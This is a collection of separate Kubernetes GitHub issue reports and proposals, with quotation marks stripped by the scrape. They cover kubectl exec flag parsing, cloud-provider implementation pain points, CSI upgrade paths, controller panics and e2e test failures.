$kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.8\ , gitcommit:\ e8c167a115ec662726904265d17f75a6d79d78d8\ , gittreestate:\ clean\ , builddate:\ 2017-10-01t00:19:21z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.8\ , gitcommit:\ e8c167a115ec662726904265d17f75a6d79d78d8\ , gittreestate:\ clean\ , builddate:\ 2017-10-01t00:01:59z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r this works for me\r  kubectl -n example-system exec -it example-monitoring-0 df\r filesystem           1k-blocks      used available use% mounted on\r overlay               98227828  17592896  76340692  19% /\r tmpfs                 15701160         0  15701160   0% /dev\r tmpfs                 15701160         0  15701160   0% /sys/fs/cgroup\r /dev/xvdbg           309506048 149730860 146106552  51% /prometheus\r /dev/xvda1            98227828  17592896  76340692  19% /dev/termination-log\r /dev/xvda1            98227828  17592896  76340692  19% /etc/prometheus\r /dev/xvda1            98227828  17592896  76340692  19% /etc/resolv.conf\r /dev/xvda1            98227828  17592896  76340692  19% /etc/hostname\r /dev/xvda1            98227828  17592896  76340692  19% /etc/hosts\r shm                      65536         0     65536   0% /dev/shm\r tmpfs                 15701160        12  15701148   0% /var/run/secrets/kubernetes.io/serviceaccount\r tmpfs                 15701160         0  15701160   0% /proc/kcore\r tmpfs                 15701160         0  15701160   0% /proc/timer_list\r tmpfs                 15701160         0  15701160   0% /proc/timer_stats\r tmpfs                 15701160         0  15701160   0% /proc/sched_debug\r \r however this doesn't work for me\r \r kubectl -n example-system exec -it example-monitoring-0 df -kh\r error: unknown shorthand flag: 'k' in -kh\r \r \r examples:\r   get output from running 'date' from pod 123456-7890, using the first container by default\r   kubectl exec 123456-7890 date\r \r   get output from running 'date' in ruby-container from pod 123456-7890\r   kubectl exec 123456-7890 -c ruby-container date\r \r   switch to raw terminal mode, sends stdin to 'bash' in ruby-container from pod 123456-7890\r   and sends stdout/stderr from 'bash' back to the client\r   kubectl exec 123456-7890 -c ruby-container -i -t -- bash -il\r \r options:\r   -c, --container='': container name. if omitted, the first container in the pod will be chosen\r   -p, --pod='': pod name\r   -i, --stdin=false: pass stdin to the container\r   -t, --tty=false: stdin is a tty\r \r usage:\r   kubectl exec pod  -c container  -- command  args...   options \r \r use \ kubectl options\  for a list of global command-line options  applies to all commands .\r \r actually i tried below combinations however didn't work.\r \r kubectl -n example-system exec -it example-monitoring-0  df -kh \r kubectl -n example-system exec -it example-monitoring-0 'df -kh'\r kubectl -n example-system exec -it example-monitoring-0 \ df -kh\ \r cmd=\ df -kh\ \r kubectl -n example-system exec -it example-monitoring-0 $cmd\r kubectl -n example-system exec -it example-monitoring-0 echo $cmd\r \r i hope someone must have faced this issue.

  \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r brightbox\r \r - os  e.g. from /etc/os-release :\r ubuntu 18.04 lts \r \r - kernel  e.g.  uname -a  :\r linux srv-jidtj 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm version: &version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:50:16z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - others:\r \r as requested in kubeadm  526\r \r i've been implementing the brightbox cloud provider over the last few weeks, and i thought it may be useful to note down what issues i came across building it and implementing it.\r \r therefore in no particular order of  impact:\r \r - kubeadm support for cloud-provider is a bit hit and miss. the latest config now requires three entries on the master, and a configuration entry on the node to enable cloud-provider external. \r \r - kube-proxy daemon sets created by kubeadm are scheduled before the node is initialised by the cloud-provider. it seems to ignore the uninitialised taint set by kubelet. i've logged that at kubeadm initially  https://github.com/kubernetes/kubeadm/issues/1027 , but problems like this seem to want to drop down the gap between sigs. \r \r - there seems to be some disagreement about whether a cloud-controller-manager should be run as a deployment or a daemonset - with the documented example being a daemonset limited to master nodes, but example providers  like do  using a deployment. why choose one over the other? \r \r - the cluster role setup is documented here: https://kubernetes.io/docs/concepts/architecture/cloud-controller/ but then not used at all by the example daemonset here https://kubernetes.io/docs/tasks/administer-cluster/running-cloud-controller/\r \r - similarly there is no documentation anywhere about how to set up the 'use-service-account-credentials' option.\r \r - the cloud controller serves insecure by default. it wasn't clear what to do to turn that off.\r \r - setting up the tls system is somewhat challenging - as the controller appears to serve connections and create connections. does this require two sets of certificates or will one do? how do you feed in the service account certificates to the controller? none of the examples explain how to connect securely, despite kubeadm setting everything else up with client certificates\r \r - copying the controller-manager out of tree breaks the magic kubernetes version system within the code, so the cloud-controller always displays v0.0.0. that version then ends up in log messages. \r    \r $ ./brightbox-cloud-controller-manager --version\r kubernetes v0.0.0-master+$format:%h$\r    \r no doubt there is a magic ldflags incantation to sort it out somewhere. a makefile pro-forma would be handy. \r \r - the usual go version management hell, with all the fun of tracking the various moving parts as k8s moves from one version to the next. just getting the cloud-provider to compile during the move from 1.10 to 1.11 was a challenge at times. how do we do dependencies and how should we maintain sync with the mainline code over time? \r \r - the cluster requirement is confusing. hasclusterid is required yet the clusters interface doesn't appear to be used by anything.\r \r - how do we end to end test a new cloud provider implementation. is there a common core within k8s we can leverage? \r \r hope that is of some use and doesn't come across too badly. it's a big old system with lots of moving parts and, after all, i have managed to get the provider working!

<!-- this form is for bug reports and feature requests only!\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r when rollback to a nonexistent revision , like below, the output shows the deloyment and i assume it was successful:\r    \r  root@hpa-vm:/home/yaml $ kubectl rollout undo deploy/nginx-deployment --to-revision=3\r deployment.extensions/nginx-deployment\r    \r actually, the rollback does not occur\r it should return error like:  no specified revision found\r we should add a validation for the revision before rollback\r https://github.com/kubernetes/kubernetes/blob/b1e15b4d98f55d6c1cbb5da58244790c0a80a8a4/pkg/kubectl/rollback.go l107-l124\r \r   what you expected to happen  :\r    \r  root@hpa-vm:/home/yaml $ kubectl rollout undo deploy/nginx-deployment \r error: no rollout history found for deployment \ nginx-deployment\ \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy a deployment\r 2. rollback to a nonexistent revision\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r vm.reconfigure failed when the vc user has insufficient privileges. instead of an error related to authorization, a null pointer exception is thrown.\r \r   1 goroutinemap.go:150  operation for \\\ provision-us1-dev-web-1/pvc 6271aab0-bd22-11e8-b4b3-005056bb78a9 \\\  failed. no retries permitted until 2018-09-20 23:05:45.833842201 +0000 utc m=+1187.474157154  durationbeforeretry 2m2s . error: \\\ recovered from panic \\\\\\\ runtime error: invalid memory address or nil pointer dereference\\\\\\\ .  err=\\u003cnil\\u003e  call stack:\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:154\\\ /usr/local/go/src/runtime/asm_amd64.s:573\\\ /usr/local/go/src/runtime/panic.go:502\\\ /usr/local/go/src/runtime/panic.go:63\\\ /usr/local/go/src/runtime/signal_unix.go:388\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/object/task.go:52\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/vmware/govmomi/object/task.go:47\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vclib/diskmanagers/vmdm.go:130\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vclib/diskmanagers/virtualdisk.go:74\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere.go:1192\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere.go:1192\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/cloudprovider/providers/vsphere/vsphere.go:1210\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/vsphere_volume/vsphere_volume_util.go:143\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/vsphere_volume/vsphere_volume.go:359\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1455\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/volume/persistentvolume/pv_controller.go:1343\\\ /workspace/anago-v1.11.1-beta.0.115+b1b29978270dc2/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/goroutinemap/goroutinemap.go:115\\\ /usr/local/go/src/runtime/asm_amd64.s:2361\\\ \\\ \ \ ,\ stream\ :\ stderr\ ,\ time\ :\ 2018-09-20t23:03:43.833989061z\ } \r \r   what you expected to happen  :\r expected to see an authorization related error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use a vc user which does insufficient privileges to create a persistent volume claim and see the error from controller-manager logs.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release :\r name=\ vmware photon os\ \r version=\ 2.0\ \r id=photon\r version_id=2.0\r pretty_name=\ vmware photon os/linux\ \r ansi_color=\ 1;34\ \r home_url=\ https://vmware.github.io/photon/\ \r bug_report_url=\ https://github.com/vmware/photon/issues\ \r - kernel  e.g.  uname -a  :\r linux 9153a58ea99d42d1b2ab41d62af932ca 4.9.124-1.ph2-esx  1-photon smp mon aug 27 19:00:16 utc 2018 x86_64 intel r  xeon r  cpu e5-2680 v3 @ 2.50ghz genuineintel gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r kubernetes v1.13 supports csi 1.0.\r kubernetes v1.12 and 1.11 support csi 0.3 .\r \r csi 1.0 is not backwards compatible with csi 0.3  see https://github.com/kubernetes/kubernetes/issues/71228 issuecomment-440434852 .\r \r therefore the upgrade from an earlier version to 1.13 will be disruptive for anyone depending on the csi driver.\r \r a vendor may choose to make a version of a csi driver that supports both versions. but that is unlikely.\r \r the disruptive upgrade path is: remove the old csi drivers from the cluster before upgrading. upgrade master and node to k8s v1.13, and wait until master and all nodes are upgraded to 1.13, and then deploy the new csi 1.0 compatible version of the driver.\r \r this approach will be disruptive for the duration of the cluster upgrade as it would mean that during the upgrade no volumes of that type can be provisioned/attached/mounted/etc. after the cluster/driver upgrade things should just start working again with the existing pv/pvcs/objects  unless the driver name changed, or the driver had some other change between 0.3 and 1.0 that prevents it from operating on the old pv/pvc/storageclass objects .\r \r   what you expected to happen  :\r \r a possible path for non-disruptive upgrade:\r \r before upgrade:\r \r 1. deploy 2 driver daemonsets: one that is 1.12  csi 0.3  compatible and one that is 1.13  csi 1.0  compatible.\r 2. replace the csi 0.3 compatible driver controller with a csi 1.0 compatible driver controller.\r \r after the upgrade:\r \r 1. remove the csi 0.3 compatible daemonset.\r \r this  should  enable non-disruptive upgrades as long as the driver name does not change across upgrades, and other then csi version the driver remains backwards compatible.\r \r this is possible because v1.13 changes the csi driver registration directory, and a 1.12 kubelet will ignore the csi 1.0 deployment, and a 1.13 kubelet will ignore the csi 0.3 deployment.\r \r action item here is to write an upgrade test to verify this.\r \r cc @davidz627 @msau42 @aishsundar @msau42 \r \r  /milestone v1.13\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  kubectl explain deployment.spec.strategy.rollingupdate  explains that both  maxsurge  and  maxunavailable  are  1  by default, while they are  25%  by default.\r \r   what you expected to happen  :\r it should be  25% \r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl explain deployment.spec.strategy.rollingupdate \r \r   anything else we need to know?  :\r \r   environment  : n/a\r - kubernetes version  use  kubectl version  : 1.14.1\r - cloud provider or hardware configuration: n/a\r - os  e.g:  cat /etc/os-release  : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

i am using kubernetes via google container engine.  i have two projects.  i build images using the first project, and uploaded them to google container registry.  in the second project, i created a new cluster, and create a pod in the cluster with a container that references the image.    the pod fails to start.  to debug this, i used the \ kubectl proxy\  command to create a local server that can access the cluster.  when i inspect the container logs in kubernetes dashboard i see only:  container \ upload\  in pod \ upload\  is waiting to start: trying and failing to pull image   i get a similar level of lack of information from kubectl logs:  kubectl logs upload upload error from server: container \ upload\  in pod \ upload\  is waiting to start: trying and failing to pull image   this isn't enough information to debug the problem.  so, i logged into the google compute engine docker host, ran \ docker pull <path to gcr image>\  and get an error: docker pull <path to gcr image>  using default tag: latest pulling repository <path to gcr image> error: status 403 trying to pull repository <path to gcr image>: \ unable to access th e repository: <path to gcr image>; please verify that it exists and you have permission to access it.\   after searching for this type of bug, i found that \ kubectl get events\  shows the event  interspersed with a large amount of other information that i had to filter .  that error message should be propagated up to the log message on the dashboard and 'kubectl logs'.

i use kubectl v1.3.5 and v1.2.0 in the k8s cluster.  if i proxy to the cluster with      $ kubectl proxy --port=8888      i get the following error when trying to execute a command in a container:      $ kubectl --server=http://localhost:8888 exec -ti test-pod bash error: unable to upgrade connection: <h3>unauthorized</h3>      other commands like  get pods  work fine.  the server is contacted by the poxy with  https://kubmaster.    .de:443  and a bearer token.

in talking with a user, i've realized that we should say in release notes if it's safe to do an in-place kubelet upgrade, or if users should do a drain/upgrade/undrain cycle for each node. we should include a table, actually, in case users are trailing by more than one version.   in the past we have change the hashing function that kubelet uses to name docker containers, causing all containers on a node to get restarted if you do an in-place upgrade.   filing this so we don't forget.

after yesterday contrib-ex session at the dev summit, i tried to compile from scratch following the readme. \r \r here are my notes:\r ---\r \r clone repo\r \r    \r git clone https://github.com/kubernetes/kubernetes.git\r    \r \r assuming you have go environment setup before.\r intuitively try  make   @thockin just said it works \r \r    \r make\r    \r \r result: does not work, missing go libraries.\r \r i don't want to dig into the dependencies, i want a docker build...\r \r scroll down main readme\r \r one click to  developer guide  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/readme.md \r \r once click to  development guide  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/development.md \r \r once click to  building with docker  http://releases.k8s.io/head/build-tools/readme.md \r \r - will need docker on my host\r - will need gnu-tar on osx : \r \r then:\r \r    \r build-tools/run.sh make\r    \r \r fails with:\r \r    \r     test/e2e/e2e.test\r     cmd/kubemark\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e_node/e2e_node.test\r go install k8s.io/kubernetes/federation/client/clientset_generated/federation_internalclientset: build output \ /go/src/k8s.io/kubernetes/_output/dockerized/go/pkg/linux_amd64_cgo/k8s.io/kubernetes/federation/client/clientset_generated/federation_internalclientset.a\  already exists and is not an object file\r go install k8s.io/kubernetes/pkg/client/unversioned: build output \ /go/src/k8s.io/kubernetes/_output/dockerized/go/pkg/linux_amd64_cgo/k8s.io/kubernetes/pkg/client/unversioned.a\  already exists and is not an object file\r go install k8s.io/kubernetes/pkg/api/events: build output \ /go/src/k8s.io/kubernetes/_output/dockerized/go/pkg/linux_amd64_cgo/k8s.io/kubernetes/pkg/api/events.a\  already exists and is not an object file\r go install k8s.io/kubernetes/pkg/fieldpath: build output \ /go/src/k8s.io/kubernetes/_output/dockerized/go/pkg/linux_amd64_cgo/k8s.io/kubernetes/pkg/fieldpath.a\  already exists and is not an object file\r go install k8s.io/kubernetes/pkg/kubectl/resource: build output \ /go/src/k8s.io/kubernetes/_output/dockerized/go/pkg/linux_amd64_cgo/k8s.io/kubernetes/pkg/kubectl/resource.a\  already exists and is not an object file\r go install k8s.io/kubernetes/cmd/kube-controller-manager/app: build output \ /go/src/k8s.io/kubernetes/_output/dockerized/go/pkg/linux_amd64_cgo/k8s.io/kubernetes/cmd/kube-controller-manager/app.a\  already exists and is not an object file\r makefile:79: recipe for target 'all' failed\r make:      all  error 1\r !!! error in build-tools/../build-tools/common.sh:523\r   '\ ${docker_cmd @ }\  \ ${cmd @ }\ ' exited with status 2\r call stack:\r   1: build-tools/../build-tools/common.sh:523 kube::build::run_build_command_ex ... \r   2: build-tools/../build-tools/common.sh:515 kube::build::run_build_command ... \r   3: build-tools/run.sh:30 main ... \r exiting with status 1\r

implementing this proposal that will solve issues raised in https://github.com/kubernetes/kubernetes/issues/36152 and https://github.com/kubernetes/kubernetes/issues/29678. in short: allow binding on addresses other then currently supported  127.0.0.1  and  ::1 \r \r the idea is to implement a new method  newonaddress  in pkg/client/unversioned/portforward/portforward.go that will add an address parameter, and refactor  new  as a wrapper on the  newonaddress  pointing to \ localhost\  address.\r \r the  newonaddress  would work as  new  did previously  that is calling  listenonportandaddress   with a difference of setting the new portforwarder private variable  address  that can take string representations of ipv4, ipv6, \ localhost\  or nil. then  listenonport  will be changed in a way that if ipv4 or ipv6 is provided in  portforwarder.address , the address given wil be the only one used  if it is a valid one . if value \ localhost\  or nil is passed, it will behave exactly as it does now - listening on  127.0.0.1  and   ::1  .\r \r pkg/kubectl/cmd/portforward.go will be modified to call  newonaddress  method instead of  new  with new option address provided by  -a  or  --address  flag on  kubectl port-forward  command and passed via a new string variable  address  in updated portforwardoptions type.

in researching  15863, i stumbled upon this behavior of  verify-golint . here's how it works, please correct me if i'm wrong:\r \r   if i open a pr with a new package that passes golint,  verify-golint  will fail because i need to add it to  hack/.linted_packages .\r   if i open a pr with a new package that fails golint,  verify-golint  does not complain.\r \r there are over 700 packages in the repo that silently fail golint. i propose we invert the whole scheme, so that we instead have a file that contains packages that fail golint. then...\r \r   if i open a pr with a new package that passes golint,  verify-golint  will pass.\r   if i open a pr with a new package that fails golint or breaks a previously-passing package,  verify-golint  will fail until i add that package to the list. this explicitly signals to the reviewer that i'm doing something potentially bad.\r \r in the long run we should look into having a bot automatically comment with fmt/lint/vet failures, but for now this should be an improvement.\r \r cc @jessfraz @krousey @kubernetes/sig-contributor-experience-proposals

when writing some code against the rest job list api  https://kubernetes.io/docs/api-reference/v1.6/ list-45 , i expected the labelselector parameter to use the same syntax as the new style selectors  with matchlabels and matchexpressions .   so then i set about trying to find the documentation on how you expect an object to be encoded into a query string.   it was only after i failed to find such documentation that i decided to try old style selector encoded naively:  ?labelselector=component%3dfoo  that i got it to work.\r \r so that brings up two points:\r \r 1: query string encoding should be documented in the api overview section of the api reference; or at least that's where i expected it.   i did find examples suggesting that it's encoded something like ?labelselector=foo%3dhello%2cbar=%3dworld but it'd be nice to get that explicitly documented.\r \r 2: it'd be nice to get matchexpressions support into the api.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r the kubernetes federation has a provider of coreos, we cannot enable secure mode for etcd, it is better support secure mode for etcd.\r \r    \r  root@cfc-555 federation   cat coredns-provider.conf\r  global \r etcd-endpoints = http://etcd-cluster.default:2379 \r zones = example.com.\r coredns-endpoints = coredns-coredns:53\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /cc @kubernetes/sig-federation-feature-requests \r

failure cluster  194920f8ea05c87c5e8a  https://go.k8s.io/triage 194920f8ea05c87c5e8a        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:339 expected error:     < errors.errorstring | 0xc4203f9760>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:83           failure cluster statistics: 24 tests failed,    27 jobs failed,    173 builds failed. failure stats cover 1 day time range '22 aug 2017 14:43 utc' to '23 aug 2017 14:43 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  pods should get a host ip  conformance  | 14 | |  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance  | 12 | |  k8s.io  pods should be submitted and removed  conformance  | 12 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-alpha-features | 42 |  23 aug 2017 14:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-features/14927  | | ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster-new | 12 |  23 aug 2017 13:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-cvm-1-7-upgrade-cluster-new/584  | | ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster-new | 11 |  23 aug 2017 12:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-gci-1-7-upgrade-cluster-new/721  |        previously closed issues for this cluster:  49243   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | xiang90 |  k8s.io  pods should get a host ip  conformance  | | random-liu |  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance  | | davidopp |  k8s.io  pods should be submitted and removed  conformance  | | sig/apps |  k8s.io  configmap updates should be reflected in volume  conformance ;  k8s.io  configmap optional updates should be reflected in volume  conformance   volume  | | sig/storage |  k8s.io  gcp volumes  k8s.io  glusterfs should be mountable;  k8s.io  projected optional updates should be reflected in volume  conformance   volume ;  k8s.io  projected should update annotations on modification  conformance   volume  | | sig/node |  k8s.io  pods should get a host ip  conformance ;  k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance ;  k8s.io  pods should be submitted and removed  conformance  |  </details><br>   current status  https://go.k8s.io/triage 194920f8ea05c87c5e8a

 \r   what happened  :\r continuation of  53409. the fix to that bug only takes the first subnetwork in the correct region. however, if the user added manual subnets in the region that the cluster exists, it's possible the cloudprovider could choose the wrong subnet. \r \r   what you expected to happen  :\r if no subnet is specified for a non-legacy network, always take the subnet which was automatically created.\r \r /assign\r  /area platform/gce

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r \r  \r \r   what happened  :\r i need several dedicated nodes to run the cronjobs on them\r i've added taint to the worker node\r    \r kubectl taint nodes 10.40.161.83 dedicated=cron:noschedule\r    \r also i've checked that the taint exists\r    \r kubectl describe nodes 10.40.161.83 | grep taints\r taints:             dedicated=cron:noschedule\r    \r but when i scale pods, they run on this node with taint\r where i'am wrong?\r \r   what you expected to happen  :\r i expect that the pods will not be run on the node with taint, if they don't have tolerations\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl taint nodes node_name dedicated=cron:noschedule\r and try to scale up your deployment\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.10\r - cloud provider or hardware configuration: baremetal\r - os  e.g. from /etc/os-release : debian 8  jessie \r - kernel  e.g.  uname -a  : debian 4.9.30-2+deb9u2~bpo8+1  2017-06-27  x86_64 gnu/linux\r - install tools: -\r - others: -\r

why are we still using the old github repo?\r \r we probably need to update cadvisor before we can switch over i guess.

the docker binary we use in cos and most images is dynamically linked.\r    \r $ file docker \r docker: elf 64-bit lsb executable, x86-64, version 1  sysv , dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for gnu/linux 2.6.32, buildid sha1 =45a7a62f39ddabd51f5eaad2f561df08fe048371, with debug_info, not stripped\r    \r \r it won't work if we directly mount it into busybox, which is what we are doing in e2e-image-puller https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/manifests/e2e-image-puller.manifest l105.\r \r here is the e2e image puller log:\r    \r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r 06:33:34 pulling k8s.gcr.io/alpine-with-bash:1.0\r 06:33:34 pulling k8s.gcr.io/apparmor-loader:0.1\r 06:33:34 pulling k8s.gcr.io/busybox:1.24\r 06:33:34 pulling k8s.gcr.io/dnsutils:e2e\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r 06:33:34 pulling k8s.gcr.io/e2e-net-amd64:1.0\r 06:33:34 pulling k8s.gcr.io/echoserver:1.6\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r 06:33:34 pulling k8s.gcr.io/eptest:0.1\r 06:33:34 pulling k8s.gcr.io/fakegitserver:0.1\r /bin/sh: docker: not found\r 06:33:34 pulling k8s.gcr.io/galera-install:0.1\r 06:33:34 pulling k8s.gcr.io/invalid-image:invalid-tag\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r 06:33:34 pulling k8s.gcr.io/iperf:e2e\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r 06:33:34 pulling k8s.gcr.io/jessie-dnsutils:e2e\r 06:33:34 pulling k8s.gcr.io/k8s-dns-dnsmasq-amd64:1.14.5\r 06:33:34 pulling k8s.gcr.io/liveness:e2e\r 06:33:34 pulling k8s.gcr.io/logs-generator:v0.1.0\r 06:33:34 pulling k8s.gcr.io/mounttest:0.8\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r /bin/sh: docker: not found\r ...\r    \r \r i believe this has been broken for a long time. given that the e2e test works fine till now without it, should we just remove it?\r \r @yujuhong @kubernetes/sig-node-bugs @kubernetes/sig-testing-bugs

   what happened  :\r \r    \r $ e2e.test --help\r \r may 21 12:58:56.844: info: overriding default scale value of zero to 1\r may 21 12:58:56.844: info: overriding default milliseconds value of zero to 5000\r usage of /home/jsafrane/project/go/src/k8s.io/kubernetes/_output/dockerized/bin/linux/amd64/e2e.test:\r   -allow-gathering-profiles\r     \tif set to true framework will allow to gather cpu/memory allocation pprof profiles from the master.  default true \r \r  snip \r \r   -event_storage_event_limit string\r     \tmax number of events to store  per type . value is a comma separated list of key values, where the keys are event types  e.g.: creation, oom  or \ default\  and the value is an integer. default is applied to all non-specified event types  default \ default=0\  \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x1bb3439 \r \r goroutine 1  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/util/flag.  mapstringbool .string 0xc420b8f3a0, 0x36f8740, 0xc420b8f3a0 \r 